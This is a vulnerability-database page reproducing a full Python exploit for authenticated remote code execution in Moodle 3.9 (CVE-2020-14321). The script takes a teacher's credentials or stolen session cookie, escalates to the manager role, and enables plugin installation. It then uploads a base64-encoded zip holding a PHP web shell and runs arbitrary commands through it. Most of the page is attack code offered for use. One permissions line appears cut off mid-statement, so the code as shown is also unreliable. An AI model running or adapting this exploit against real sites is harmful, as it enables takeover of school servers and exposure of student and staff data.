Lucene search
K

Moodle 3.9 Remote Code Execution

🗓️ 05 Aug 2021 00:00:00Reported by lanzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 572 Views

Moodle 3.9 Remote Code Execution (RCE) Authenticated as Teacher. Assignment of Full Permissions to Manager Role via PoC and Payload

Related
Code
`# Exploit Title: Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)  
# Date: 12-05-2021  
# Exploit Author: lanz  
# Vendor Homepage: https://moodle.org/  
# Version: Moodle 3.9  
# Tested on: FreeBSD  
  
#!/usr/bin/python3  
  
## Moodle 3.9 - RCE (Authenticated as teacher)  
## Based on PoC and Payload to assign full permissions to manager rol:  
## * https://github.com/HoangKien1020/CVE-2020-14321  
  
## Repository: https://github.com/lanzt/CVE-2020-14321/blob/main/CVE-2020-14321_RCE.py  
  
import string, random  
import requests, re  
import argparse  
import base64  
import signal  
import time  
from pwn import *  
  
class Color:  
BLUE = '\033[94m'  
GREEN = '\033[92m'  
YELLOW = '\033[93m'  
RED = '\033[91m'  
END = '\033[0m'  
  
def def_handler(sig, frame):  
print(Color.RED + "\n[!] 3xIt1ngG...\n")  
exit(1)  
  
signal.signal(signal.SIGINT, def_handler)  
  
banner = base64.b64decode("IF9fICAgICBfXyAgICAgX18gICBfXyAgX18gICBfXyAgICAgICAgICAgICAgX18gIF9fICAgICAKLyAgXCAgL3xfICBfXyAgIF8pIC8gIFwgIF8pIC8gIFwgX18gIC98IHxfX3wgIF8pICBfKSAvfCAKXF9fIFwvIHxfXyAgICAgL19fIFxfXy8gL19fIFxfXy8gICAgICB8ICAgIHwgX18pIC9fXyAgfCDigKIgYnkgbGFuegoKTW9vZGxlIDMuOSAtIFJlbW90ZSBDb21tYW5kIEV4ZWN1dGlvbiAoQXV0aGVudGljYXRlZCBhcyB0ZWFjaGVyKQpDb3Vyc2UgZW5yb2xtZW50cyBhbGxvd2VkIHByaXZpbGVnZSBlc2NhbGF0aW9uIGZyb20gdGVhY2hlciByb2xlIGludG8gbWFuYWdlciByb2xlIHRvIFJDRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA==").decode()  
  
print(Color.BLUE + banner + Color.END)  
  
def usagemybro():  
fNombre = os.path.basename(__file__)  
ussage = fNombre + ' [-h] [-u USERNAME] [-p PASSWORD] [-idm ID_MANAGER] [-idc ID_COURSE] [-c COMMAND] [--cookie TEACHER_COOKIE] url\n\n'  
ussage += '[+] Examples:\n'  
ussage += '\t' + fNombre + ' http://moodle.site.com/moodle -u teacher_name -p teacher_pass\n'  
ussage += '\t' + fNombre + " http://moodle.site.com/moodle --cookie thisistheffcookieofmyteaaacher\n"  
return ussage  
  
def arguments():  
parse = argparse.ArgumentParser(usage=usagemybro())  
parse.add_argument(dest='url', type=str, help='URL Moodle site')  
parse.add_argument('-u', dest='username', type=str, default='lanz', help='Teacher username, default: lanz')  
parse.add_argument('-p', dest='password', type=str, default='Lanz123$!', help='Teacher password, default: Lanz123$!')  
parse.add_argument('-idm', dest='id_manager', type=str, default='25', help='Manager user ID, default: 25')  
parse.add_argument('-idc', dest='id_course', type=str, default='5', help='Course ID valid to enrol yourself, default: 5')  
parse.add_argument('-c', dest='command', type=str, default='whoami', help='Command to execute, default: whoami')  
parse.add_argument('--cookie', dest='teacher_cookie', type=str, default='', help='Teacher cookie (if you don\'t have valid credentials)')  
return parse.parse_args()  
  
def login(url, username, password, course_id, teacher_cookie):  
'''  
Sign in on site, with creds or with cookie  
'''  
  
p1 = log.progress("Login on site")  
  
session = requests.Session()  
r = session.get(url + '/login/index.php')  
  
# Sign in with teacher cookie  
if teacher_cookie != "":  
p1.status("Cookie " + Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END)  
time.sleep(2)  
  
# In case the URL format is: http://moodle.site.com/moodle  
cookie_domain = url.split('/')[2] # moodle.site.com  
cookie_path = "/%s/" % (url.split('/')[3]) # /moodle/  
session.cookies.set('MoodleSession', teacher_cookie, domain=cookie_domain, path=cookie_path)  
  
r = session.get(url + '/user/index.php', params={"id":course_id})  
try:  
re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]  
except IndexError:  
p1.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")  
exit(1)  
  
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
p1.success(Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END + Color.YELLOW + " ✓" + Color.END)  
time.sleep(1)  
  
# Sign in with teacher credentials  
elif username and password != "":  
p1.status("Creds " + Color.BLUE + username + ":" + password + Color.END)  
time.sleep(2)  
  
login_token = re.findall(r'name="logintoken" value="(.*?)"', r.text)[0]  
  
data_post = {  
"anchor" : "",  
"logintoken" : login_token,  
"username" : username,  
"password" : password  
}  
  
r = session.post(url + '/login/index.php', data=data_post)  
if "Recently accessed courses" not in r.text:  
p1.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nInvalid credentials.\n")  
exit(1)  
  
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
p1.success(Color.BLUE + username + ":" + password + Color.END + Color.YELLOW + " ✓" + Color.END)  
time.sleep(1)  
  
else:  
print(Color.RED + "\nUse valid credentials or valid cookie\n")  
exit(1)  
  
return session, id_user, sess_key  
  
def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):  
'''  
Assign rol manager to teacher and manager account in the course.  
'''  
  
p4 = log.progress("Updating roles to move on manager accout")  
time.sleep(1)  
  
r = session.get(url + '/user/index.php', params={"id":course_id})  
try:  
teacher_user = re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]  
except IndexError:  
p4.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")  
exit(1)  
  
p4.status("Teacher " + Color.BLUE + teacher_user + Color.END)  
time.sleep(1)  
  
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
session = update_rol(session, url, sess_key, course_id, id_user)  
session = update_rol(session, url, sess_key, course_id, id_manager)  
  
data_get = {  
"id" : course_id,  
"user" : id_manager,  
"sesskey" : sess_key  
}  
  
r = session.get(url + '/course/loginas.php', params=data_get)  
if "You are logged in as" not in r.text:  
p4.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nError trying to move on manager account. Validate credentials (or cookie).\n")  
exit(1)  
  
p4.success(Color.YELLOW + "✓" + Color.END)  
time.sleep(1)  
  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
# Updating rol manager to enable install plugins  
session, sess_key = update_rol_manager(session, url, sess_key)  
  
# Upload malicious zip file  
zipb64_up(session, url, sess_key, teacher_user, course_id)  
  
# RCE on system  
moodle_RCE(url, command)  
  
def update_rol(session, url, sess_key, course_id, id_user):  
'''  
Updating teacher rol to enable he update other users  
'''  
  
data_get = {  
"mform_showmore_main" : "0",  
"id" : course_id,  
"action" : "enrol",  
"enrolid" : "10",  
"sesskey" : sess_key,  
"_qf__enrol_manual_enrol_users_form" : "1",  
"mform_showmore_id_main" : "0",   
"userlist[]" : id_user,   
"roletoassign" : "1",  
"startdate" : "4",  
"duration" : ""  
}  
  
r = session.get(url + '/enrol/manual/ajax.php', params=data_get)  
return session  
  
def update_rol_manager(session, url, sess_key):  
'''  
Updating rol manager to enable install plugins  
* Extracted from: https://github.com/HoangKien1020/CVE-2020-14321  
'''  
  
p6 = log.progress("Updating rol manager to enable install plugins")  
time.sleep(1)  
  
data_get = {  
"action":"edit",  
"roleid":"1"  
}  
  
random_desc = ''.join(random.choice(string.ascii_lowercase) for i in range(15))  
  
# Headache part :P  
data_post = [('sesskey',sess_key),('return','manage'),('resettype','none'),('shortname','manager'),('name',''),('description',random_desc),('archetype','manager'),('contextlevel10','0'),('contextlevel10','1'),('contextlevel30','0'),('contextlevel30','1'),('contextlevel40','0'),('contextlevel40','1'),('contextlevel50','0'),('contextlevel50','1'),('contextlevel70','0'),('contextlevel70','1'),('contextlevel80','0'),('contextlevel80','1'),('allowassign[]',''),('allowassign[]','1'),('allowassign[]','2'),('allowassign[]','3'),('allowassign[]','4'),('allowassign[]','5'),('allowassign[]','6'),('allowassign[]','7'),('allowassign[]','8'),('allowoverride[]',''),('allowoverride[]','1'),('allowoverride[]','2'),('allowoverride[]','3'),('allowoverride[]','4'),('allowoverride[]','5'),('allowoverride[]','6'),('allowoverride[]','7'),('allowoverride[]','8'),('allowswitch[]',''),('allowswitch[]','1'),('allowswitch[]','2'),('allowswitch[]','3'),('allowswitch[]','4'),('allowswitch[]','5'),('allowswitch[]','6'),('allowswitch[]','7'),('allowswitch[]','8'),('allowview[]',''),('allowview[]','1'),('allowview[]','2'),('allowview[]','3'),('allowview[]','4'),('allowview[]','5'),('allowview[]','6'),('allowview[]','7'),('allowview[]','8'),('block/admin_bookmarks:myaddinstance','1'),('block/badges:myaddinstance','1'),('block/calendar_month:myaddinstance','1'),('block/calendar_upcoming:myaddinstance','1'),('block/comments:myaddinstance','1'),('block/course_list:myaddinstance','1'),('block/globalsearch:myaddinstance','1'),('block/glossary_random:myaddinstance','1'),('block/html:myaddinstance','1'),('block/lp:addinstance','1'),('block/lp:myaddinstance','1'),('block/mentees:myaddinstance','1'),('block/mnet_hosts:myaddinstance','1'),('block/myoverview:myaddinstance','1'),('block/myprofile:myaddinstance','1'),('block/navigation:myaddinstance','1'),('block/news_items:myaddinstance','1'),('block/online_users:myaddinstance','1'),('block/private_files:myaddinstance','1'),('block/recentlyaccessedcourses:myaddinstance','1'),('block/recentlyaccesseditems:myaddinstance','1'),('block/rss_client:myaddinstance','1'),('block/settings:myaddinstance','1'),('block/starredcourses:myaddinstance','1'),('block/tags:myaddinstance','1'),('block/timeline:myaddinstance','1'),('enrol/category:synchronised','1'),('message/airnotifier:managedevice','1'),('moodle/analytics:listowninsights','1'),('moodle/analytics:managemodels','1'),('moodle/badges:manageglobalsettings','1'),('moodle/blog:create','1'),('moodle/blog:manageentries','1'),('moodle/blog:manageexternal','1'),('moodle/blog:search','1'),('moodle/blog:view','1'),('moodle/blog:viewdrafts','1'),('moodle/course:configurecustomfields','1'),('moodle/course:recommendactivity','1'),('moodle/grade:managesharedforms','1'),('moodle/grade:sharegradingforms','1'),('moodle/my:configsyspages','1'),('moodle/my:manageblocks','1'),('moodle/portfolio:export','1'),('moodle/question:config','1'),('moodle/restore:createuser','1'),('moodle/role:manage','1'),('moodle/search:query','1'),('moodle/site:config','1'),('moodle/site:configview','1'),('moodle/site:deleteanymessage','1'),('moodle/site:deleteownmessage','1'),('moodle/site:doclinks','1'),('moodle/site:forcelanguage','1'),('moodle/site:maintenanceaccess','1'),('moodle/site:manageallmessaging','1'),('moodle/site:messageanyuser','1'),('moodle/site:mnetlogintoremote','1'),('moodle/site:readallmessages','1'),('moodle/site:sendmessage','1'),('moodle/site:uploadusers','1'),('moodle/site:viewparticipants','1'),('moodle/tag:edit','1'),('moodle/tag:editblocks','1'),('moodle/tag:flag','1'),('moodle/tag:manage','1'),('moodle/user:changeownpassword','1'),('moodle/user:create','1'),('moodle/user:delete','1'),('moodle/user:editownmessageprofile','1'),('moodle/user:editownprofile','1'),('moodle/user:ignoreuserquota','1'),('moodle/user:manageownblocks','1'),('moodle/user:manageownfiles','1'),('moodle/user:managesyspages','1'),('moodle/user:update','1'),('moodle/webservice:createmobiletoken','1'),('moodle/webservice:createtoken','1'),('moodle/webservice:managealltokens','1'),('quizaccess/seb:managetemplates'  
  
r = session.post(url + '/admin/roles/define.php', params=data_get, data=data_post)  
  
# Above we modify description field, so, if script find that description on site, we are good.  
if random_desc not in r.text:  
p6.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nTrouble updating fields\n")  
exit(1)  
else:  
r = session.get(url + '/admin/search.php')  
if "Install plugins" not in r.text:  
p6.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nModified fields but the options to install plugins have not been enabled.")  
print(Color.RED + "- (This is weird, sometimes he does it, sometimes he doesn't!!) Try again.\n")  
exit(1)  
  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
p6.success(Color.YELLOW + "✓" + Color.END)  
time.sleep(1)  
  
return session, sess_key  
  
def zipb64_up(session, url, sess_key, teacher_user, course_id):  
'''  
Doing upload of zip file as base64 binary data  
* https://stackabuse.com/encoding-and-decoding-base64-strings-in-python/  
'''  
  
p7 = log.progress("Uploading malicious " + Color.BLUE + ".zip" + Color.END + " file")  
  
r = session.get(url + '/admin/tool/installaddon/index.php')  
zipfile_id = re.findall(r'name="zipfile" id="id_zipfile" value="(.*?)"', r.text)[0]  
client_id = re.findall(r'"client_id":"(.*?)"', r.text)[0]  
  
# Upupup  
data_get = {"action":"upload"}  
data_post = {  
"title" : "",  
"author" : teacher_user,  
"license" : "unknown",  
"itemid" : [zipfile_id, zipfile_id],  
"accepted_types[]" : [".zip",".zip"],  
"repo_id" : course_id,  
"p" : "",  
"page" : "",  
"env" : "filepicker",  
"sesskey" : sess_key,  
"client_id" : client_id,  
"maxbytes" : "-1",  
"areamaxbytes" : "-1",  
"ctx_id" : "1",  
"savepath" : "/"  
}  
  
zip_b64 = 'UEsDBAoAAAAAAOVa0VAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAACATtFQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAAB2bdFQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACAD4W9FQA9MUliAAAAAeAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsS/IKFAoriwuSc3VUIl3dw2JVk/OTVGP1bRWsLcDAFBLAwQUAAAACAB6bdFQtXxvb0EAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDM0NzCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAA5VrRUAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGAB/2bACX0TWAWRC9B9fRNYBhvTzH19E1gFQSwECHwAKAAAAAACATtFQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgArE3mRVJE1gGOG/QfX0TWAYb08x9fRNYBUEsBAh8ACgAAAAAAdm3RUAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAMIcIaZyRNYBwhwhpnJE1gGOG/QfX0TWAVBLAQIfABQAAAAIAPhb0VAD0xSWIAAAAB4AAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgA1t0sN2BE1gHW3Sw3YETWAfYt6i9fRNYBUEsBAh8AFAAAAAgAem3RULV8b29BAAAASQAAAA8AJAAAAAAAAAAgAAAAygAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAO6e2qlyRNYB7p7aqXJE1gFkQvQfX0TWAVBLBQYAAAAABQAFANsBAAA4AQAAAAA='  
zip_file_bytes = zip_b64.encode('utf-8')  
zip_file_b64 = base64.decodebytes(zip_file_bytes)  
  
data_file = [  
('repo_upload_file',  
('rce.zip', zip_file_b64, 'application/zip'))]  
  
r = session.post(url + '/repository/repository_ajax.php', params=data_get, data=data_post, files=data_file)  
if "rce.zip" not in r.text:  
p7.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nError uploading zip file.\n")  
exit(1)  
  
# Trying to load file  
data_post = {  
"sesskey" : sess_key,  
"_qf__tool_installaddon_installfromzip_form" : "1",  
"mform_showmore_id_general" : "0",  
"mform_isexpanded_id_general" : "1",  
"zipfile" : zipfile_id,  
"plugintype" : "",  
"rootdir" : "",  
"submitbutton" : "Install plugin from the ZIP file"  
}  
  
r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)  
if "Validation successful, installation can continue" not in r.text:  
p7.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nError uploading zip file, problems on plugin install.\n")  
exit(1)  
  
# Confirm load  
zip_storage = re.findall(r'installzipstorage=(.*?)&', r.url)[0]  
data_post = {  
"installzipcomponent" : "block_rce",  
"installzipstorage" : zip_storage,  
"installzipconfirm" : "1",  
"sesskey" : sess_key  
}  
  
r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)  
if "Current release information" not in r.text:  
p7.failure(Color.RED + "✘" + Color.END)  
print(Color.RED + "\nError uploading zip file, confirmation problems.\n")  
exit(1)  
  
p7.success(Color.YELLOW + "✓" + Color.END)  
time.sleep(1)  
  
return session  
  
def moodle_RCE(url, command):  
'''  
Remote Command Execution on system with plugin installed (malicious zip file)  
'''  
  
p8 = log.progress("Executing " + Color.BLUE + command + Color.END)  
time.sleep(1)  
  
data_get = {"cmd" : command}  
  
try:  
r = session.get(url + '/blocks/rce/lang/en/block_rce.php', params=data_get, timeout=3)  
p8.success(Color.YELLOW + "✓" + Color.END)  
time.sleep(1)  
print("\n" + Color.YELLOW + r.text + Color.END)  
except requests.exceptions.Timeout as e:  
p8.success(Color.YELLOW + "✓" + Color.END)  
time.sleep(1)  
pass  
  
print("[" + Color.YELLOW + "+" + Color.END + "]" + Color.GREEN + " Keep breaking ev3rYthiNg!!\n" + Color.END)  
  
if __name__ == '__main__':  
args = arguments()  
session, id_user, sess_key = login(args.url, args.username, args.password, args.id_course, args.teacher_cookie)  
enrol2rce(session, args.url, args.id_manager, args.username, args.id_course, args.teacher_cookie, args.command)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2021 00:00Current
8.8High risk
Vulners AI Score8.8
EPSS0.39399
572